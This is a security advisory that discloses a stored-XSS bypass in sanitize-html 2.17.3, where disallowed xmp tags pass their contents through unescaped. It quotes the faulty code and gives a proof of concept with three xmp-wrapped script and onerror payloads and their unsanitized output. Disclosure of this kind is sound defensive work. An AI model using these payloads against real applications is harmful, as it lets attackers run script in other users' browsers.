CVE-2026-44990

### Summary Under the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: 'discard'` path and can lead to stored XSS in applications that render sanitized output back to users. ### Details In `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as "drop the entire contents" tags. Later, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping: ```js } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) { result += text; } ``` Because `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output. This creates a default sanitizer bypass. For example, a disallowed `<xmp>` wrapper can be used to smuggle `<script>` or event-handler payloads through sanitization. The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`. ### PoC Tested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`. 1. Install the package: ```bash npm install sanitize-html ``` 2. Run the following script: ```js const sanitizeHtml = require('sanitize-html'); console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>')); console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>')); console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>')); ``` 3. Observed output: ```html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg><script>alert(1)</script></svg> ``` 4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example: ```js const dirty = '<xmp><script>alert(1)</script></xmp>'; const clean = sanitizeHtml(dirty); ``` If `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes. ### Impact This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.